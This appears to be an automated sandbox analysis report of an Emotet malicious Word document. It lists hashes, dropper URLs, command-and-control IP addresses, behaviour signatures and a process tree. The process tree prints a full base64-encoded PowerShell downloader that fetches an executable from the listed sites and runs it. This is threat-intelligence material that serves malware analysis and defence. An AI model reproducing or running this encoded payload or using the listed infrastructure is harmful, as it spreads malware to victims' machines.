Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    03/09/2020, 10:07

General

  • Target
    emotet_e1_bce89001b89cdfd2100f452c3575dc57eda064e71c324ca8570f84ca39b19c9d_2020-09-03__100647._doc.doc
  • Size 186KB
  • Sample200903-qya3nkhnd2
  • SHA256 bce89001b89cdfd2100f452c3575dc57eda064e71c324ca8570f84ca39b19c9d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://tskgear.com/wp-content/uploads/2017/NVa/

  • exe.dropper

    http://vermasiyaahi.com/wp-content/8/

  • exe.dropper

    https://bauzeichnung.com/cgi-bin/8V/

  • exe.dropper

    http://bobenstetter.net/cgi-bin/V/

  • exe.dropper

    https://bosonit.com/wp-includes/We/

  • exe.dropper

    http://chinese-photography.net/books/T7/

  • exe.dropper

    http://compartirwifi.com/WordPress_01/ZAa/

Extracted

Family
  • emotet

C2
  • 50.121.220.50:80

  • 51.75.33.122:80

  • 54.37.42.48:8080

  • 91.121.54.71:8080

  • 45.16.226.117:443

  • 68.69.155.181:80

  • 213.60.96.117:80

  • 77.55.211.77:8080

  • 152.169.22.67:80

  • 110.142.219.51:80

  • 2.47.112.152:80

  • 206.15.68.237:443

  • 217.13.106.14:8080

  • 191.99.160.58:80

  • 189.131.57.131:80

  • 213.197.182.158:8080

  • 94.176.234.118:443

  • 61.92.159.208:8080

  • 190.128.173.10:80

  • 219.92.8.17:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_bce89001b89cdfd2100f452c3575dc57eda064e71c324ca8570f84ca39b19c9d_2020-09-03__100647._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2736
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:1048
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABTAHgAeAAyADQAbwBhAD0AKAAoACcARQAnACsAJwBxAGkAeQAnACkAKwAoACcAbAAnACsAJwBzADUAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdABlACcAKwAnAG0AJwApACAAJABlAG4AVgA6AFUAUwBFAFIAUABSAG8ARgBJAGwARQBcAFQANAA2AFUAYwA2ADEAXABLADQAYQBBAEEAbABjAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwBUAE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AHIAYABpAHQAWQBwAFIAbwB0AE8AYABDAGAATwBMACIAIAA9ACAAKAAoACcAdABsAHMAJwArACcAMQAyACcAKQArACcALAAnACsAJwAgACcAKwAoACcAdABsAHMAMQAxACwAIAB0ACcAKwAnAGwAJwArACcAcwAnACkAKQA7ACQAWABiAHEAeQBmAGcAbgAgAD0AIAAoACgAJwBUAHUAaQAyADkAJwArACcAaAAnACkAKwAnADAAJwArACcAOAAnACkAOwAkAE4ANQB4ADcAbQBiAHcAPQAoACcASgBfACcAKwAnAHQAJwArACgAJwB1ACcAKwAnAHcANwBtACcAKQApADsAJABUAHkAaABpAHEAOABuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9ACcAKwAnAFQAJwArACcANAA2AHUAYwA2ADEAewAwAH0ASwA0ACcAKwAoACcAYQBhACcAKwAnAGEAbAAnACkAKwAnAGMAewAwAH0AJwApAC0ARgAgAFsAYwBIAEEAcgBdADkAMgApACsAJABYAGIAcQB5AGYAZwBuACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAQwBuAHcAdwBjAG4ANwA9ACgAKAAnAE4AagAnACsAJwByACcAKwAnAGQAbABnACcAKQArACcAcwAnACkAOwAkAFcAcQB5AG8AcABfAHgAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBlAGIAQwBMAEkAZQBOAHQAOwAkAFEAdAB0AGYAegAyAGcAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8ALwAnACsAJwB0AHMAawBnACcAKwAnAGUAJwApACsAJwBhAHIAJwArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAtACcAKwAnAGMAbwBuACcAKQArACgAJwB0AGUAJwArACcAbgB0AC8AJwApACsAJwB1ACcAKwAoACcAcABsAG8AYQAnACsAJwBkACcAKwAnAHMALwAyADAAJwApACsAJwAxACcAKwAoACcANwAvAE4AJwArACcAVgBhAC8AKgBoAHQAJwArACcAdABwADoALwAvACcAKwAnAHYAJwArACcAZQByACcAKwAnAG0AYQAnACkAKwAnAHMAJwArACgAJwBpAHkAYQAnACsAJwBhAGgAaQAuAGMAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAtAGMAJwApACsAJwBvAG4AJwArACcAdABlACcAKwAoACcAbgB0AC8AJwArACcAOAAnACsAJwAvACoAaAB0ACcAKwAnAHQAJwApACsAJwBwAHMAJwArACcAOgAnACsAJwAvACcAKwAoACcALwBiAGEAdQB6ACcAKwAnAGUAJwApACsAKAAnAGkAYwAnACsAJwBoACcAKwAnAG4AdQBuAGcALgBjACcAKQArACgAJwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAaQBuACcAKwAnAC8AOAAnACsAJwBWACcAKwAnAC8AJwArACcAKgBoAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwAnACsAJwBiAG8AYgBlAG4AcwAnACkAKwAoACcAdABlACcAKwAnAHQAJwApACsAKAAnAHQAZQByACcAKwAnAC4AbgAnACkAKwAnAGUAdAAnACsAJwAvAGMAJwArACcAZwAnACsAKAAnAGkALQBiACcAKwAnAGkAJwArACcAbgAvAFYALwAqAGgAdAAnACsAJwB0AHAAJwApACsAJwBzACcAKwAnADoAJwArACgAJwAvAC8AYgAnACsAJwBvAHMAJwApACsAKAAnAG8AbgBpAHQAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0ALwB3AHAALQBpACcAKwAnAG4AJwApACsAKAAnAGMAJwArACcAbAB1ACcAKQArACgAJwBkACcAKwAnAGUAcwAvACcAKQArACgAJwBXAGUALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AYwAnACsAKAAnAGgAaQBuAGUAcwBlACcAKwAnAC0AJwApACsAKAAnAHAAJwArACcAaABvAHQAJwApACsAKAAnAG8AZwAnACsAJwByAGEAcABoACcAKQArACgAJwB5AC4AbgBlAHQALwAnACsAJwBiACcAKQArACgAJwBvACcAKwAnAG8AawAnACkAKwAnAHMALwAnACsAKAAnAFQANwAnACsAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACcALwAvACcAKwAnAGMAbwAnACsAKAAnAG0AcAAnACsAJwBhAHIAdABpACcAKQArACcAcgAnACsAKAAnAHcAaQBmACcAKwAnAGkAJwApACsAKAAnAC4AYwAnACsAJwBvAG0ALwAnACkAKwAoACcAVwAnACsAJwBvACcAKwAnAHIAZABQAHIAZQBzACcAKwAnAHMAJwApACsAKAAnAF8AMAAnACsAJwAxACcAKQArACcALwAnACsAJwBaAEEAJwArACcAYQAvACcAKQAuACIAUwBwAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABTADQAawB2AG4ANgA1AD0AKAAoACcAUQAnACsAJwB6ADkAdABsACcAKQArACcAMABnACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFMAZQBqAF8AdQAzADIAIABpAG4AIAAkAFEAdAB0AGYAegAyAGcAKQB7AHQAcgB5AHsAJABXAHEAeQBvAHAAXwB4AC4AIgBkAE8AdwBOAGwAYABPAGEAYABEAEYASQBgAGwAZQAiACgAJABTAGUAagBfAHUAMwAyACwAIAAkAFQAeQBoAGkAcQA4AG4AKQA7ACQAWAAwADUANQBtAGwANwA9ACgAKAAnAFkAegBuACcAKwAnAGMAdgAnACkAKwAnAHQAeQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAVAB5AGgAaQBxADgAbgApAC4AIgBMAEUAbgBgAGcAdABoACIAIAAtAGcAZQAgADIAMwA5ADgANAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABUAHkAaABpAHEAOABuACkAOwAkAFcANQA0AHcAMwBwAGoAPQAoACgAJwBGAF8AbwAnACsAJwBxACcAKQArACgAJwBuACcAKwAnAHgAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVgBoAG0AbgB6AGwAcAA9ACgAJwBEAHgAJwArACgAJwB6AHIAMgAnACsAJwA0AGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAYgBxAGYAbgBjAGUAPQAoACcATwAnACsAKAAnAGsAZQAnACsAJwBsAHMAegAnACkAKwAnAHYAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3652
    • C:\Users\Admin\T46uc61\K4aaalc\Tui29h08.exe
      "C:\Users\Admin\T46uc61\K4aaalc\Tui29h08.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3568
      • C:\Windows\SysWOW64\MuiUnattend\mstask.exe
        "C:\Windows\SysWOW64\MuiUnattend\mstask.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2084

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2084-16-0x00000000006A0000-0x00000000006AC000-memory.dmp

        memory/2736-4-0x0000021AE5E09000-0x0000021AE5E0C000-memory.dmp

        memory/2736-6-0x0000021AE5E0C000-0x0000021AE5E11000-memory.dmp

        memory/2736-5-0x0000021AE5E09000-0x0000021AE5E0C000-memory.dmp

        memory/2736-0-0x00007FFB52B30000-0x00007FFB531F6000-memory.dmp

        memory/2736-3-0x0000021AE5E09000-0x0000021AE5E0C000-memory.dmp

        memory/2736-2-0x0000021AE5A91000-0x0000021AE5AA4000-memory.dmp

        memory/2736-1-0x0000021AE5A8F000-0x0000021AE5A91000-memory.dmp

        memory/3568-13-0x0000000000680000-0x000000000068C000-memory.dmp

        memory/3652-7-0x00007FFB4AB70000-0x00007FFB4B55C000-memory.dmp

        memory/3652-8-0x000001F81CC20000-0x000001F81CC21000-memory.dmp

        memory/3652-9-0x000001F81CDD0000-0x000001F81CDD1000-memory.dmp